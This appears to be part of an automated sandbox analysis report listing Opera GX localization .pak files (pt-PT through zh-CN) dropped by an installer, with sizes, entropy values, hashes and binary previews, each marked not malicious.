                                                                                                                                                                                                              Preview:.........(..e.<...g.D...h.I...i.Z...j.f...k.u...l.....n.....o.....p.....q.....r.....s.....t.....v.'...w.S...y.z...z.....|.....}.......)...........6.....>.....F.....M.....T.....[.....\.....].....b.....t.......................P...........;.....W.................W.....g.............................f.......................h.......................M.......................y...........).....Y...........N.................).......................N.......................|...........:.....S..........._ ..... ..... ....$!....p!.....!.....!....."....`".....".....".....#....]#.....#.....#.....$....f$.....$.....$.....%...._%.....%.....%.....%....>&....l&....v&.....&.....'....F'....P'.....'.....(....E(....V(.....(....Q).....).....).....*....Y*....}*.....*.....*....*+....P+.....+.....,....,,....D,.....,....=-....x-.....-....!.....F....._............/....,/....?/...../.....0....Z0....v0.....0....v1.....1.....1....s2.....2.....3....Y3.....3.....4....34....F4.....4.....4.....5.....5.....5.....5....36....S6

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\localization\pt-PT.pak

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):539591
                                                                                                                                                                                                              Entropy (8bit):5.4231073005882555
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:6144:FsGyt8nChshi6T7js5luSRg0QCY4JVJJxhIq8+8oTjdr:FEhshXjsLuSRuUR
                                                                                                                                                                                                              MD5:C787D4554A77F3B29EFC214CE7FDFEEF
                                                                                                                                                                                                              SHA1:A7D5D686DD387680568F31695283967E0FD3F07C
                                                                                                                                                                                                              SHA-256:F0A531F9DC5EA2C43E6B88CD56A67510210E55F9C3272D20B0B8739E090D4645
                                                                                                                                                                                                              SHA-512:E55C80170AFBD0014E288984C7CD93BEEA2630C0A58C57C59C5B32D0B51FC1194E90BA226341A45CFCA1CDE3D30DA7E82A978FD24AB30C8D6275C851B986C201
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........E(x.e.....g.....h.....i.....j.....k.....l.....n.....o.....p.....q.....r.....s./...t.F...v.{...w.....y.....z.....|.#...}.T.....}.....................................................................................................}.................e.................N.................I...........4.....x.................?.....i.....y........... .....M....._...........M.................3.......................m...........$.....1.................0.....@.................^.....s...........i ..... ..... ....>!.....!.....!.....!....)"....."....."....."....!#.....#.....#.....#....1$.....$.....$.....$....9%.....%.....%.....%....$&....z&.....&.....&.....&....S'.....'.....'.....'....A(....u(.....(.....(....d).....).....)....!*....t*.....*.....*.....*....9+....S+....d+.....+....(,....U,....o,.....,....H-.....-.....-..........^.......................H/....~/...../.....0....T0.....0.....0....B1.....1.....2....52.....2....%3....l3.....3.....4....s4.....4.....4.....5....g5.....5.....5.....6....o6

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\localization\ro.pak

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):553863
                                                                                                                                                                                                              Entropy (8bit):5.479000080104223
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:6144:jPw50w676V0KTUIL3s2Cgh6Tu4wJ5XJp8+xt812qik3GoB4ZP5coxUL:zzXAUUqgh6sJ5Xc+H81133Gg4HNx2
                                                                                                                                                                                                              MD5:E0144DAC55FA4CE90649976E1923808E
                                                                                                                                                                                                              SHA1:53CC262A9DAE55EB3244579F8F879F7A976586A7
                                                                                                                                                                                                              SHA-256:D7986A5942C8A099BB03DF7624B76A8696FD63EDDE56BC082EE89FE61C70B883
                                                                                                                                                                                                              SHA-512:71C7BEE17F5A18C4CE6A4E436ACD95B34FEA32DD08A6188C44E67A39239495007CF4D20C0DAA725D721EAFB4653174412FFEA83C5DBA072C655E9C6CDFE4FB68
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........((..e.V...g.^...h.c...i.t...j.~...k.....l.....n.....o.....p.....q.....r.....s.....t.....v.?...w.k...y.....z.....|.....}.......A.....F.....N.....V.....^.....e.....l.....s.....t.....u.....w.............................R...........0.....J.................D.....X..........._.................P.......................p.......................S.......................b.................*.................]................._.................'.......................>.............................. ...._ ..... ..... ....,!....J!....g!.....!.....!....""....6".....".....".....".....#....l#.....#.....#.....$....i$.....$.....$.....%....V%.....%.....%.....%....0&....|&.....&.....&.....'....d'.....'.....'....*(.....(.....(.....)....^).....).....).....).....*....v*.....*.....*....-+....{+.....+.....+....H,.....,.....,....3-.....-.....-.....-.....-....v............/....-/...../...../....10....F0.....0....C1.....1.....1....82.....2.....2.....3.....3.....3.....4....54.....4.....4.....4.....5.....5.....5

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\localization\ru.pak

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):881701
                                                                                                                                                                                                              Entropy (8bit):4.936797035484045
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:12288:5yfHtdueefQjRo4YResEaX+jhvYDOdFMV8uaMxDkD4TL/Y0Ly30ZpXPfRQjI4c3R:5itEeh3GBYS
                                                                                                                                                                                                              MD5:80FFF2190916C0125BEEE2163BB237E1
                                                                                                                                                                                                              SHA1:BD1513CC84532F608FC9120C875E010227F2FFB8
                                                                                                                                                                                                              SHA-256:946A4659829E76E0DFE0B5A07C8A5DFD1A2C0AAAF87FB3CAD6895A633ECF252B
                                                                                                                                                                                                              SHA-512:EA94D75F333C694F1AABB42DF8F8966D8B8FD9A9716E8D68359BF7CAD6451C996F5EA01223DC546BA270D6135B70FC92A85911C3766100D04E9A64F14F16802F
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:.........'5.e.....g.....h.#...i.4...j.@...k.O...l.Z...n.b...o.g...p.t...q.z...r.....s.....t.....v.....w.-...y.T...z.....|.....}............................... .....'...........5.....6.....7.....9.....V.........................................6...........t.............................'.....U...........c.......................?.......................n.................}...........o.................a..........." ..... ....n!.....!.....!....."....-#....}#.....#....Z$....(%.....%.....%.....&.....'....P(....~(....!).....).....).....).....*.....*....!+....@+.....+....-,....^,....{,.....-.....-.....-.....-.........../....^/...../.....0.....0.....0.....0....`1.....1.....2....+2.....2.....3....I3....b3....t4....?5.....5.....5....u6.....6.....7....?7.....7.....8....78....R8.....8....m9.....9.....9.....:.....;.....;....X<.....<....?=....g=....y=....,>.....>.....>....#?.....?....`@.....@.....@.....A.....B.....C....%C....0D.....D....|E.....E....zF.....F....6G....UG.....G....NH.....H.....H....xI....+J

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\localization\sk.pak

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):559943
                                                                                                                                                                                                              Entropy (8bit):5.812175841907495
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:12288:g58roxKS/TAZwnEtkpTjuxd9ig43pk1ZGxvl4O:4I8vGwUld46ZGVz
                                                                                                                                                                                                              MD5:6A521C18CA3E3D6EDAA1CD20A2892BC5
                                                                                                                                                                                                              SHA1:3F7FB85314F93427819B458B5F2210C53B6F144C
                                                                                                                                                                                                              SHA-256:4B931374F16FEF9995CD357FE27C7581E7ADA01888876CD2191C3FC24C0DCE8A
                                                                                                                                                                                                              SHA-512:3941535730C6F1DCA951CA5F4CAC4F6A897593F1C4930BCDE84656C663848178919FE6EE05FB9170CA244A7E9749D6D2C317A894E3FF5EAA65B6D4645B54AD40
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........((..e.V...g.^...h.c...i.w...j.....k.....l.....n.....o.....p.....q.....r.....s.....t.....v.D...w.p...y.....z.....|.....}.......F.....K.....S.....[.....c.....j.....q.....x.....y.....z.....|...................................0.................4.......................~...........R.....l...........=.....v.................\.......................W.......................m.................b.................Q...........H.........................................R............ ....# ..... ....H!.....!.....!....."....j"....."....."....."....`#.....#.....#.....#....Y$.....$.....$.....$....r%.....%.....%....0&.....&.....&.....&....E'.....'.....'.....'....V(.....(.....).....)....u).....)....#*....6*.....*....P+.....+.....+.....,....S,....n,.....,.....,....7-....S-....h-.....-....2.....j.....z....../....w/...../...../....L0.....0.....0.....0....P1.....1.....1.....1....p2.....2.....3....73.....3....r4.....4.....4....m5.....5.....6....66.....6.....7....67....J7.....7.....7.....8..../8.....8....&9

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\localization\sr.pak

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):826865
                                                                                                                                                                                                              Entropy (8bit):4.877269309591476
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:12288:d7J0PrNNXuex0vMHB37Ch/k/5H76xNXISpi1VbO8aQrkL/zeeVLm7v7WR07X:dmu50Cw
                                                                                                                                                                                                              MD5:086673D10DB9AC869F71FE55CCBCC5F4
                                                                                                                                                                                                              SHA1:8C35384F882EB4FE060AB993C0AF90BACF7DF401
                                                                                                                                                                                                              SHA-256:EE7CB997B8F199F8ED4E6397B0AAAEB25C44D436590070C96EED76257A545B35
                                                                                                                                                                                                              SHA-512:987E8A875672BF773A9D52E83A5492FF5DD99D8D1114E7104A76BB880BACE3CD6818BAEE33602C28C7B660EA0DE9B31C1ADFBDFAB2C6BD13C1EDA3F0E0158B8F
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........A(|.e.....g.....h.....i.....j.....k.....l.....n.....o.....p.....q.....r.....s.'...t.>...v.s...w.....y.....z.....|.....}.L.....u.....z.............................................................................T.....J.............................&.......................{...........C.................4.....i.........................................T.....k.....=..........., ....g ....g!....%".....".....".....#....M$.....$.....$.....%....-&.....&.....&.....'....Q(.....(.....).....*.....*.....+.....+....V,.....,.....,.....-.....-....$.....^............/....~/...../...../.....0....61.....1.....1....i2.....2....>3...._3.....3....x4.....4.....4....z5.....5....=6....^6.....7.....7.....7.....7.....8....{9.....9.....:.....:....%;....];.....;....$<.....<.....<.....=.....=....F>.....>.....>.....?.....@....s@.....@....fA.....A.....B....8B.....B.....C.....C.....D.....D....gE.....E.....F.....G.....G....kH.....H....wI....!J.....J.....J.....K.... L....sL.....L.....M.....M.....M.....M.....N....]O

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\localization\sv.pak

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):500034
                                                                                                                                                                                                              Entropy (8bit):5.56457831399814
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:6144:DIx51Bw63dH349gorlSFJy2tFIp4gfivSFbT7I202V4x1676fF6Mmv0n/4i054n2:cxrBxdkrlSS96No
                                                                                                                                                                                                              MD5:129855149BA9EBB6F38554CA2F715F90
                                                                                                                                                                                                              SHA1:FD265027182E1F4BFD04D01CA15DD580F1CDBD3D
                                                                                                                                                                                                              SHA-256:9BCA7639E83C0B560E18F67C7276286A9233145351B53576FFE19DEF4A6B7773
                                                                                                                                                                                                              SHA-512:A55D403EDE117653029E9FFC4B460EBE212103787C9F03FEBD47E99036BC1AE34E215DB300084BB2B6EE710C441F0C703859E28A3C3D2F990DCEC3E1CE0FCDD9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:.........(..e.....g.....h.....i.&...j.2...k.A...l.L...n.T...o.Y...p.f...q.l...r.x...s.....t.....v.....w.....y.F...z.t...|.....}........................................... .....'.....(.....).....+.....<.....R.....f.....z.............................J...................................S.....l...........<.....u.................G.....v.................F.....w.................k.................=.......................p.......................z...........).....9...........5.................1............ ....> ..... ..... .....!.....!....k!.....!.....!.....!....H"....."....."....."....<#.....#.....#.....#....I$.....$.....$.....$....>%.....%.....%.....%.....&.....&.....&.....&....%'.....'.....'.....'....0(.....(.....(.....(....E).....).....).....).....*....n*.....*.....*.....*....?+....`+....r+.....+....J,.....,.....,.....-....k-.....-.....-..........\................../....R/...../...../.....0.....0.....0.....1.....1.....1....:2....`2.....2....,3....\3....o3.....3.....4....'4....54.....4.....4

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\localization\sw.pak

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):518614
                                                                                                                                                                                                              Entropy (8bit):5.392215369371895
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:12288:kkkdVaGHOKfzbLMk4PhEqxAW3m8QoKrmuC5fmYbqCCBaRd2hU7bsd4ippTbH9JiS:kkkdUGfDx
                                                                                                                                                                                                              MD5:49C75F47BB4D5877F105AB23AEE1360B
                                                                                                                                                                                                              SHA1:C6F116A4C08B3BED70D0FC19B49F12B604E31785
                                                                                                                                                                                                              SHA-256:1ED01D30D72EEF9F971AEA879222BE3BB198536249C87C3FE519A58C0D78DF6F
                                                                                                                                                                                                              SHA-512:E86D7310373BF89C6706151241F162A07310B7F67F3970BE4C710B25F63C139D5B0374FCA917A4504189ED112557FD31EF5092FE1D366EF56D57FC2C46633555
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:.........(..e.....g.....h.....i."...j.....k.=...l.H...n.P...o.U...p.b...q.h...r.t...s.....t.....v.....w.....y.B...z.p...|.....}.................................................#.....$.....%.....*.....<.....U.....i..................................._...................................V.....l........... .....S.....g.................<.....K.................%.....3.................4.....Z...........X................./.......................=.......................>.......................{...........T.....p............ ....B ....] ..... ..... .....!.....!....d!.....!.....!.....!....V".....".....#.....#....w#.....#.....$.....$....x$.....$.....%...."%....v%.....%.....%.....&....b&.....&.....&.....'....{'.....'....,(....E(.....(.....(....$)....@).....).....*....3*....T*.....*.....+....P+....`+.....+....<,.....,.....,.....-....X-....y-.....-.....-....:.....b.....t...........P/...../...../....:0.....0.....1....#1.....1.....2....H2....e2.....2....Z3.....3.....3.... 4....t4.....4.....4....B5.....5

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\localization\ta.pak

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):1315831
                                                                                                                                                                                                              Entropy (8bit):4.144728641350541
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:6144:nytaaWtKyGgasatRdRtm1vYpiMaO/K3htvycZs6n:nVyFsutm1vYpiMaRn
                                                                                                                                                                                                              MD5:86BA970DC3EC2491FCC2A6FA6215F46F
                                                                                                                                                                                                              SHA1:E690E8612899C240DD2CAB300AE16E24BCC7BB6D
                                                                                                                                                                                                              SHA-256:2F0846E28BB150497665294336F26ECA2CA88F432A5AA83069BFFD7F74E32DCC
                                                                                                                                                                                                              SHA-512:98A57B1569A43E2BF7A3918AA1178779A9F5B8D21644C1D934C3B2D14AC9E27E2F04C8C4D54BB2B3F0BD1AC5CC27DAB48EC8D2B48FDE2CAF4C4FD3DAD7B54408
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:.........(..e.&...g.....h.3...i.D...j.P...k._...l.j...n.r...o.w...p.....q.....r.....s.....t.....v.....w.=...y.d...z.....|.....}................... .....(.....0.....7.....>.....E.....F.....G.....L.....z.................t.......................#.....u..........._...........'...........Y.................$!.....!.....!.....".....#....N$.....$....i%....K&.....&.....&.....(.....).....).....*....l+.....,....t-.....-...........0.....0.....0....:2....b3.....4....64.....5.....6.....7.....8.....9.....:.....;.....<.....=.....=....7>.....>....l?....H@.....@.....@.....A.....B.....C....8C....cD....mE.....E....KF....BG....3H.....H.....H.....I.....J....2K....`K....YL....IM.....M.....M.....N.....O....YP.....P.....Q....9S.....T....YT....TU....<V.....V.....V.....W.....X.....X....EY.....Z.....[.....[.....\....D]....R^.....^....Z_....2`.....`....Ha.....a.....b.....c....Zd.....d....*f....=g.....h....oh....[j....El.....m.....m....Co....Pp.....q....zq.....r.....t.....t....&u....*v.....w.....w.....w.....y....8z

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\localization\te.pak

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):1204654
                                                                                                                                                                                                              Entropy (8bit):4.397043587299891
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:12288:+RiR2C247McKNQuA/2TZB8TjJAM8fHquDYH/grshTWFsmcTvqdW/3wkAE26KO+yK:CiR2DHneU
                                                                                                                                                                                                              MD5:0E52E22F2B5B07B7ADEB755E1A8E7D85
                                                                                                                                                                                                              SHA1:3DC32A2EC9AEE8B3C78AC88B1328486FF3076C3C
                                                                                                                                                                                                              SHA-256:B6DD69E4E56350628BC9F1ABC2BB923BB9379EF105B46303DD1E6DF79ABF9A2C
                                                                                                                                                                                                              SHA-512:E8D733A2ADDEEFDF524005460507803A5D304091B36490B45131546B3CB2A357AC6C9B6B1CA77EAD3C1AF98CFCFF7DA9A6D29F2B454403A8AD76CBAE7BD868B0
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:.........(;.e.....g.....h.....i.1...j.=...k.L...l.W...n._...o.d...p.q...q.w...r.....s.....t.....v.....w.*...y.Q...z.....|.....}.....................................$.....+.....2.....3.....4.....9.....p.................U.......................;.......................h.......................-.....j...... ...."!....]!....?"....."....;#....p#.....$....O%.....%.....%.....'.....'....c(.....(....F*....p+....<,.....,.....-..........\/...../.....0.....1....`2.....2.....4....:5....86....u6.....7....[9....;:.....:.....;....1<.....<.....<.....=.....>.....?....T?....h@....-A.....A.....A....*C.....D.....D.....D....,F.....G.....G.....G.....H.....I....5J....vJ.....K....eL.....L.....M....BN.....O.....O.....O..../Q....%R.....R.....R.....T.....T.....U....WU...."V.....V.....V....#W.....W.....X...._Y.....Y.....Z.....[....~\.....].....^.....^....+_....x_.....`.....a.....b....gb.....c....jd.....e....Me.....g.....h.....i.....j.....k.....l....fm.....m....-o.....p.....p.....p.....r.....r....6s....ws.....t.....u

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\localization\th.pak

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):1035463
                                                                                                                                                                                                              Entropy (8bit):4.463340434445346
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:12288:ew+JUm7N9LyZYA7C4FkcS5kI4kZ1mT56pLTVNwqXH6NJ0HJuHIzXw1pCDCMbq7V5:eBJnSNN
                                                                                                                                                                                                              MD5:7C2BC6E79BDACCFB41BE319F85DC8B1F
                                                                                                                                                                                                              SHA1:58C07D8FBD79B35503F8677B7EA7CCDC3C7193FA
                                                                                                                                                                                                              SHA-256:E46389C4E0E1D154722B14AC852AAE91FEB743FF0D54D9241134EA44C5BFF73C
                                                                                                                                                                                                              SHA-512:420280257A790FC4D72B8A92D3944501DDD7DF10DD018D828A5FB47B2FEBE10094533766716FB6D3FFBCB3C248D5BFFA35A2911619B890A48549C3E31744815B
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........X'e.e.....g.....h.....i.....j.....k.....l.....o.....p.....q.....r.....s.A...t.X...v.....w.....y.....z.....|.5...}.f...................................................................................2.............................Q...........R...........S.....}...........`...........6.....o.....J...........=..........._.................h...........1.....J.....m.....( ..... .....!.....".....".....#....j#....8$.....$....c%.....%....R&.....&...._'.....'....Z(.....)....s).....).....*.....+....z,.....,.....-....2................../....=0.....0.....0.....1....'2.....2.....2.....3..../4.....4.....4.....5....O6.....6.....6.....7....`8.....8.....8.....9....E:.....:.....:.....;....@<.....<.....<.....=.....>.....?.....?.....@.....A....iA.....A....WB.....B...."C....YC.....C....gD.....D.....E.....F.....F....mG.....G.....H.....H....5I....eI....:J.....J....#K....YK....XL.....L....\M.....M.....N.....O....+P....LP.....Q.....R....PS.....S.....T....[U.....U.....V.....V....SW.....W.....W.....X.....Y

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\localization\tr.pak

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):532679
                                                                                                                                                                                                              Entropy (8bit):5.6373162208178185
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:6144:jqJ+BGRbO1ZAYoaJzAci1U6edPO7TNaI6QVSjYtz6qh5HT/rTx3jF/7isfQVlP:jqJaGRbHPaJLGGsY
                                                                                                                                                                                                              MD5:5F39495E872AFBB91D4F7CE0A58F5E69
                                                                                                                                                                                                              SHA1:0088BEC63BEF9100290E6BDFA945AD4AADF43D2B
                                                                                                                                                                                                              SHA-256:FB906836B4405931D96E45BD33572F9332007963FEA3F82A0E5D4548975EFB19
                                                                                                                                                                                                              SHA-512:B141ADBC00369626F63E0091559A2C67D146869BE164D79C783846E02D15AF38C1A7A705DDE147F8F1E24C1700A34C4C79AB426E32002D3F663E3D39AF8BDC91
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........4(..e.n...g.v...h.{...i.....j.....k.....l.....n.....o.....p.....q.....r.....s.....t."...v.W...w.....y.....z.....|.....}.0.....Y.....^.....f.....n.....v.....}.......................................................................f.....{...........F.........................................T.......................X.......................?.......................I.......................z.................K.................B.....S.................1.....A...........-.....p.................z.................? ..... ..... ..... ....?!.....!.....!.....!....<"....."....."....."....<#.....#.....#.....#....O$.....$.....$.....$....]%.....%.....%.....%....Z&.....&.....&.....&....W'.....'.....'.....'.....(.....(....M)....f).....)....,*....Y*....u*.....*.....+....A+....\+.....+.....,....>,....P,.....,....'-....a-.....-.....-....0.....O....._...........#/....N/....c/...../....70....{0.....0....>1.....1....V2....h2.....2....m3.....3.....3....j4.....4....$5....@5.....5.....6....46....I6.....6...."7

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\localization\uk.pak

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):878863
                                                                                                                                                                                                              Entropy (8bit):4.970162309687139
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:12288:EJlD3ELvRsCdB3IjZbArIorn3HuGZ7q+4uL2un9oVEmNisSr+hUwrh1A1C4ngNko:EJd3kvRNrW
                                                                                                                                                                                                              MD5:37F696FEBFEB3BFB01A22A23232046D6
                                                                                                                                                                                                              SHA1:00907BD1E73D4645C19E6CCEDBC449FEF7DCECF2
                                                                                                                                                                                                              SHA-256:26F8A417B94E17F7BA1D0D60896EC35998B66D3CEF5A187773984F6BFAF59906
                                                                                                                                                                                                              SHA-512:9E02B1D907882483EB949B9EF5E0E9F31290B1AEE34A7BFAA7370A8B785EB196884E50F8E337C3670147F3B95CD03780F9C93EA0F069939B4F159AC75BF6D971
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:.........'..e.....g.....h.....i.....j.....k.....l.*...n.2...o.7...p.D...q.J...r.V...s.....t.....v.....w.....y.$...z.R...|.y...}.........................................................................).....P.....z.................p.........../...............................................8.......................Z...........}......................./.................X...........D.....}.....j ....+!.....!.....!....."....6#.....#.....#....b$.....$....V%....w%....=&.....&....U'.....'....q(....6).....).....).....*.....*....!+....T+.....+....],.....,.....,....E-.....-.....-................i/...../...../.....0.....1....a1....|1.....2.....2.....2.....2.....3.....3....E4....d4.....4....w5.....5.....5.....6.....7....78....p8.....9.....9.....9.....9....[:.....:.....:.....;.....;....`<.....<.....<.....=.....>.....?.....?.....@.....@.....@.....@.....A.....B....YB.....B....]C.....C....cD.....D.....E....UF.....F.....G.....G.....H....FI.....I....7J.....J.....K....@K.....K....GL.....L.....L....wM....%N

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\localization\vi.pak

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):625770
                                                                                                                                                                                                              Entropy (8bit):5.825832930728577
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:12288:ydGh2O+cJ8AKGKyuJOXdziRHHskgLuKp1q/afFXq6D2DMg6Mki9Ys7F/g/:phP+cJ83GvqOXhiRskgL11qyfZq6DIiN
                                                                                                                                                                                                              MD5:4CECA303D01ADECB8306E46D0F126385
                                                                                                                                                                                                              SHA1:F656A43C9522EFF36A58AA07AFE1157B50E171D1
                                                                                                                                                                                                              SHA-256:884F2CA41923679615469CE93057FB0B365705541F24F6B0589306BA338D3CD1
                                                                                                                                                                                                              SHA-512:D1B385F3C144B472642922485521203805AAD7AD73D747EC14A073ED81D1A3FD82DDA6654F699F103EC361C31EC0877EFF1E8B5B5D5D1344E26C99FF7E4822AD
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:.........'..e.....g.....h.....i.....j.....k.....l.....n.....o.....p.....q.!...r.-...s.\...t.s...v.....w.....y.....z.)...|.P...}...........................................................................................M.................$.....@...........T.................n...........b...................................I.......................>...................................Z...........L...........^.......................................... ....R ....i .....!.....!.....!....."....."....g#.....#.....#....k$.....$.....$.....%.....%.....%.....&....0&.....&.....'....L'....]'.....'....[(.....(.....(....%).....).....).....)....:*.....*.....*.....*....O+.....+.....+.....+....b,.....,.....-....$-.....-....m.................r/...../.....0....=0.....0.....1....<1.....1....32....i2.....2....23.....3.....4....}4.....4....a5.....5.....5....F6.....6.....6.....7.....7.....8....b8.....8....,9.....9....B:....V:.....;.....;.....<....S<.....<....<=....q=.....=.....=....]>.....>.....>....B?.....?....*@

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\localization\zh-CN.pak

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):448995
                                                                                                                                                                                                              Entropy (8bit):6.7450989075185595
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:6144:jUMtY6I+KK99AUxmPQ44PcF+fqWlGXop+S47C+MUiZp:jUv+z9KCIQ44P4J4IS/+MU+p
                                                                                                                                                                                                              MD5:2333B983097D2D4E2258709CDCE10DAE
                                                                                                                                                                                                              SHA1:859B462FB8280EA630F62C30F0BF851571A8D4A1
                                                                                                                                                                                                              SHA-256:EF7815C3AEBACDC1B1F4465D96B437100C61EF4AF29E30C009D91EA34FE62AB5
                                                                                                                                                                                                              SHA-512:A7DCD64C2EAAB784217F99254D6FB59B672F1880C7E6EC7862E972E1917FAB3418C20C0D8C104FA6B5C25C7D04FA12878EDBE603114D28925B0C2C41116BBAB7
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
